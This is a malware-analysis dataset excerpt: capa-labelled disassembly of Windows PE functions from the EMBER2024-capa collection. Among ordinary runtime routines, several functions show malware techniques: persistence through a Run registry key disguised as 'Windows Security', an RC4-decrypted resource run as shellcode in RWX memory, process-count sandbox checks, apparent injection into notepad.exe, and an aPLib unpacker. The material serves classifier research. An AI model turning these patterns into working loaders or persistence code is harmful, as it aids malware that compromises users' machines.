joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006350
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14000c100
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14000c100
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400063c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400132c4]
mov rbx, rcx
test esi, esi
jle 0x1400064f0
mov rax, qword [0x1400132c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000640b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140006495
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400063f0
mov rcx, rbx
call fcn.140006e10
mov rdi, rax
test rax, rax
je 0x140006512
mov rax, qword [0x1400132c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140006f50
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400132c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400064f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000648e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400064a0
add dword [0x1400132c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400132c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000648e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140006350
nop dword [rax]
xor esi, esi
jmp 0x140006418
mov rax, qword [0x1400132c8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140006350
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140006350
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140006a80
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140013320]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140013300]
test rbx, rbx
je 0x140006adc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140006ad3
test rsi, rsi
je 0x140006ad3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140006ab8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140006e10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000f840]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140006e30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140006e38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140006e30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140006e8d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140006e84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140006e30
add rax, 0x28
cmp rax, r9
jne 0x140006e70
xor eax, eax
ret

Function at 0x140006e90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000f840]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140006eaf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140006eb8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140006eaf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140006f50
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000f840]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140006f6f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140006f78
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x230
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rbp, r8
mov r15d, edx
mov r14, rcx
mov esi, pe_nt_image_headers64
xor edi, edi
lea rcx, [rsp + 0x120]
mov r8d, esi
xor edx, edx
mov ebx, edi
call fcn.140002600
mov r8d, esi
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.140002600
mov ecx, edi
mov edx, edi
nop dword [rax]
nop dword [rax + rax]
mov eax, ecx
mov byte [rsp + rdx + 0x20], cl
and eax, 0x7f
lea rdx, [rdx + 1]
inc ecx
movzx eax, byte [rax + rbp]
mov byte [rsp + rdx + 0x11f], al
cmp ecx, esi
jl 0x140001070
mov rdx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x120]
movzx r8d, byte [rsp + rdx + 0x20]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1400010c5
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x20], al
inc rdx
mov byte [rcx], r8b
sub rsi, 1
jne 0x1400010a0
mov edx, edi
test r15d, r15d
je 0x140001156
mov r10, r15
nop dword [rax]
lea eax, [rdi + 1]
and eax, 0x800000ff
jge 0x140001103
dec eax
or eax, 0xffffff00
inc eax
movsxd rdi, eax
lea r8, [rsp + 0x20]
movzx r9d, byte [r8 + rdi]
add edx, r9d
and edx, 0x800000ff
jge 0x140001125
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r8 + rdi], al
mov byte [rcx], r9b
movzx ecx, byte [r8 + rdi]
add rcx, r9
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x20]
xor byte [r14], cl
inc r14
sub r10, 1
jne 0x1400010f0
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140001500
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140001190
Capabilities:
Enumerate processes

Disassembly:
push rdi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001221
xor edx, edx
mov qword [rsp + 0x280], rbx
mov r8d, 0x234
mov dword [rsp + 0x20], 0x238
lea rcx, [rsp + 0x24]
call fcn.140002600
lea rdx, [rsp + 0x20]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000123a
nop word [rax + rax]
lea rdx, [rsp + 0x20]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001200
cmp ebx, 0x28
jle 0x14000123a
mov rbx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001500
add rsp, 0x270
pop rdi
ret
mov ecx, 1
call fcn.140003150
int3
Function at 0x140001250
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x158
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, pe_nt_image_headers64
call fcn.140002600
mov r8d, pe_nt_image_headers64
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1400012f1
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400012b4
mov rcx, qword [rsp + 0x30]
lea rdx, str.Windows_Security
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001500
add rsp, 0x158
ret

Function at 0x140001310
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0xc0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rsi, rdx
xor ecx, ecx
mov edx, 0x64
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x14000145f
mov rdx, rbx
mov qword [rsp + 0xd0], rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test eax, eax
je 0x140001378
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x14000137f
xor eax, eax
jmp 0x140001457
mov rcx, rax
mov qword [rsp + 0xe0], rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x14000144f
movups xmm0, xmmword [rax + 0x10]
movups xmm1, xmmword [rax + 0x20]
movups xmm2, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x40], xmm1
movq rbx, xmm2
movups xmm1, xmmword [rax + 0x40]
shr rbx, 0x20
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [rax + 0x60]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0x80], xmm1
movsd xmm1, qword [rax + 0x80]
movd eax, xmm2
movaps xmmword [rsp + 0x20], xmm2
movaps xmmword [rsp + 0x90], xmm0
movsd qword [rsp + 0xa0], xmm1
test eax, eax
je 0x140001410
call fcn.140001190
test ebx, ebx
je 0x140001419
call fcn.140001250
lea eax, [rbp - 0x88]
mov ecx, eax
mov dword [rsi], eax
call fcn.140001524
mov r8d, dword [rsi]
lea rdx, [rdi + 0x88]
mov rcx, rax
mov rbx, rax
call fcn.14000a950
mov edx, dword [rsi]
lea r8, [rsp + 0x28]
mov rcx, rbx
call section..text
mov rax, rbx
mov rdi, qword [rsp + 0xe0]
mov rbp, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140001500
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rsi
ret
Function at 0x140001480
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
sub rsp, 0x30
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0
call fcn.140001310
mov rsi, rax
test rax, rax
je 0x1400014e1
mov qword [rsp + 0x40], rbx
mov r9d, 0x40
mov qword [rsp + 0x48], rdi
mov r8d, 0x3000
mov edi, dword [rsp + 0x20]
xor ecx, ecx
mov edx, edi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.14000a950
call rbx
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rsi
ret

Function at 0x140003150
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140002f24
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002f24
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002f24
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002f24
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002f24
cmp dword [rcx + 0x84], 0xe
jbe 0x140002f24
cmp dword [rcx + 0xf8], esi
je 0x140002f24
mov ecx, r14d
call fcn.14000306c
mov ecx, 2
call fcn.1400044c4
nop
cmp byte [0x140015120], 0
jne 0x140002fee
mov r15d, 1
mov eax, r15d
xchg dword [0x140015110], eax
test ebx, ebx
jne 0x140002f97
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140015118]
cmp rcx, rax
je 0x140002f8e
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.14000234c]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140015378]
jmp 0x140002fa3
cmp ebx, r15d
jne 0x140002fa9
lea rcx, [0x140015390]
call fcn.140003fc8
nop
test ebx, ebx
jne 0x140002fc0
lea rdx, [0x14000b300]
lea rcx, [0x14000b2e0]
call fcn.14000397c
lea rdx, [0x14000b310]
lea rcx, [0x14000b308]
call fcn.14000397c
movzx eax, byte [0x140015120]
test esi, esi
cmove eax, r15d
mov byte [0x140015120], al
jmp 0x140002fee
mov ecx, 2
call fcn.140004518
test esi, esi
jne 0x140003005
mov ecx, r14d
call fcn.140003020
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140002eb4
Function at 0x1800010f0
Capabilities:
Get file attributes

Disassembly:
push rsi
sub rsp, 0x100
mov rax, qword [0x180004040]
xor rax, rsp
mov qword [rsp + 0xf8], rax
lea rcx, str.portCheck.exe
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsdup]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
jne 0x180001288
lea rcx, str.SOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionUninstallWeChat
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsdup]
lea rsi, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov rcx, 0xffffffff80000002
mov rdx, rax
xor r8d, r8d
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180001288
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [rsp + 0xf6], 0
mov word [rsp + 0xf4], 0
xorps xmm0, xmm0
movaps xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0xe0], 0
movaps xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rsi
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rcx, str.C:WindowsSystem32_notepad.exe
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [0x180004140]
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x20], 4
mov r8d, 3
xor edx, edx
mov r9d, 0x1000
call qword [0x180004148]
mov rsi, rax
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0xf4]
mov r9d, 3
mov rdx, rax
call qword [0x180004150]
mov rcx, qword [rsp + 0x60]
lea r9, [rsp + 0x5c]
mov edx, 3
mov r8d, 0x20
call qword [0x180004158]
mov rdx, qword [rsp + 0x68]
mov rcx, rsi
xor r8d, r8d
call qword [0x180004160]
mov ecx, dword [rsp + 0x70]
call qword [0x180004168]
mov rcx, qword [rsp + 0xf8]
xor rcx, rsp
call fcn.180001dd0
xor eax, eax
add rsp, 0x100
pop rsi
ret
Function at 0x18000725c
Capabilities:
Create thread
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
cmp edx, 1
jne 0x18000732e
mov qword [0x180039d10], rcx
call fcn.1800071c4
mov dil, al
call fcn.1800060fc
call fcn.180006d10
test al, al
je 0x180007296
xor eax, eax
jmp 0x180007365
call fcn.180007104
test eax, eax
setne dl
mov ecx, dword [0x180039cf0]
cmp ecx, 3
jne 0x1800072ed
cmp eax, 1
jne 0x1800072ed
test dil, dil
jne 0x1800072ed
call fcn.180006e64
lea rcx, [0x180039cf4]
mov qword [rsp + 0x28], rcx
and dword [rsp + 0x20], 0
mov r9, rbx
lea r8, [0x18000706c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x180039d08], rax
mov eax, 1
jmp 0x180007365
test dl, dl
je 0x180007322
cmp ecx, 2
jne 0x180007302
call fcn.180008b68
test al, al
sete al
jmp 0x180007312
mov rax, qword gs:[0x60]
mov al, byte [rax + 0x50]
shr al, 1
and al, 1
test al, al
je 0x18000731d
call fcn.18000953c
jmp 0x180007322
call fcn.180006e64
test dil, dil
je 0x180007361
mov eax, 1
jmp 0x180007365
test edx, edx
jne 0x180007361
cmp qword [0x180039d08], 0
je 0x180007361
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x180039cf4], eax
je 0x180007361
xor edx, edx
mov rcx, qword [0x180039d08]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
and qword [0x180039d08], 0
jmp 0x180007363
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x180008b68
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x80
mov rax, qword [0x180036178]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor esi, esi
xor edx, edx
lea ecx, [rsi + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
test rax, rax
je 0x180008c53
xor eax, eax
mov qword [rsp + 0x5c], rax
mov qword [rsp + 0x64], rax
mov qword [rsp + 0x6c], rax
mov dword [rsp + 0x58], 0x1c
lea rdx, [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32First]
or r14, 0xffffffffffffffff
jmp 0x180008c46
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x64], eax
jne 0x180008c38
mov r8d, dword [rsp + 0x60]
xor edx, edx
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x180008c38
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
test eax, eax
je 0x180008c2f
cmp qword [rsp + 0x30], r14
jae 0x180008c2f
mov esi, dword [rsp + 0x60]
mov r14, qword [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x180008bd5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp esi, eax
je 0x180008c61
mov al, 1
jmp 0x180008cad
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov qword [rsp + 0x38], rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
and rax, 0xfffffffffffff000
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rcx + rax + 0x28]
add rdx, rax
mov rax, qword [rbx]
sub rbx, 8
mov qword [rsp + 0x38], rbx
test rax, rax
jne 0x180008c9f
jmp 0x180008c8c
cmp qword [rbx - 8], rdx
jne 0x180008ca9
mov al, 1
jmp 0x180008cad
jmp 0x180008cab
xor al, al
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1800124c0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret

Function at 0x180009ea8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [0x180039d10]
xor ebp, ebp
mov rsi, rcx
mov word [rcx], bp
lea edx, [rbp + 0xa]
lea r8d, [rbp + 6]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
jne 0x180009ee4
xor eax, eax
jmp 0x180009f38
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x180009ee0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov edx, 2
movzx ecx, word [rax]
inc ecx
movsxd rcx, ecx
lea rax, [rax + rcx*2]
dec rdx
jne 0x180009f03
movzx edi, word [rax]
cmp edi, 0x104
jae 0x180009f36
lea rbx, [rdi + rdi]
lea rdx, [rax + 2]
mov rcx, rsi
mov r8, rbx
call fcn.1800124f0
mov word [rbx + rsi], bp
mov eax, edi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1809b1000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x1809b100a
jmp 0x1809b300f
jmp fcn.180694318

Function at 0x140f70058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140f701df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140f70089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f7006f
add dl, dl
jne 0x140f70096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f700f6
xor eax, eax
add dl, dl
jne 0x140f700a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f701ad
add dl, dl
jne 0x140f700b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f700c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f700d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f700dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140f700ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140f7007e
mov eax, 1
add dl, dl
jne 0x140f70106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f70113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f700fb
sub eax, ebx
mov ebx, 1
jne 0x140f7014c
mov ecx, 1
add dl, dl
jne 0x140f7012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f7013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f70123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f7007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140f70168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f70175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f7015d
cmp eax, 0x7d00
jae 0x140f7019b
cmp eax, 0x500
jb 0x140f70196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f7007e
cmp eax, 0x7f
ja 0x140f7019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f7007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140f701d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140f7007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14002c000
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x718], 0
mov rsi, r9
mov rbp, r8
movsxd rbx, edx
mov rdi, rcx
je 0x14002c05e
mov dl, 1
call fcn.14001c9e0
mov rax, qword [rdi + 0x670]
mov r9, rsi
mov r8, rbp
mov qword [rsp + 0x20], rax
mov edx, ebx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call fcn.14001c9e0
mov eax, ebx
jmp 0x14002c0a2
cmp ebx, 2
ja 0x14002c0a0
mov r9, qword [rdi + 0x668]
lea rdx, [0x14006c198]
lea rcx, [rbx + rbx*2]
add rcx, rdx
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
mov r8d, 1
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14002c0c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rdi
sub rsp, 0x160
mov rax, qword [0x140084080]
xor rax, rsp
mov qword [rsp + 0x140], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
jne 0x14002c103
cmp qword [rcx + 0x678], 0
je 0x14002c1e0
mov r8, rdx
mov qword [rsp + 0x158], rbx
mov edx, pe_nt_image_headers64
lea r9, [rsp + 0x180]
lea rcx, [rsp + 0x30]
call fcn.14003cb50
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x14002c131
mov rcx, qword [rdi + 0x678]
test rcx, rcx
je 0x14002c178
cmp byte [rdi + 0x1597], 0
jne 0x14002c178
lea rdx, [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14002c160
mov byte [rdi + 0x1597], 1
cmp byte [rdi + 0xf1e], 0
je 0x14002c1d8
mov byte [rsp + rbx + 0x30], 0xa
inc rbx
cmp rbx, 0x102
jae 0x14002c233
cmp qword [rdi + 0x718], 0
mov byte [rsp + rbx + 0x30], 0
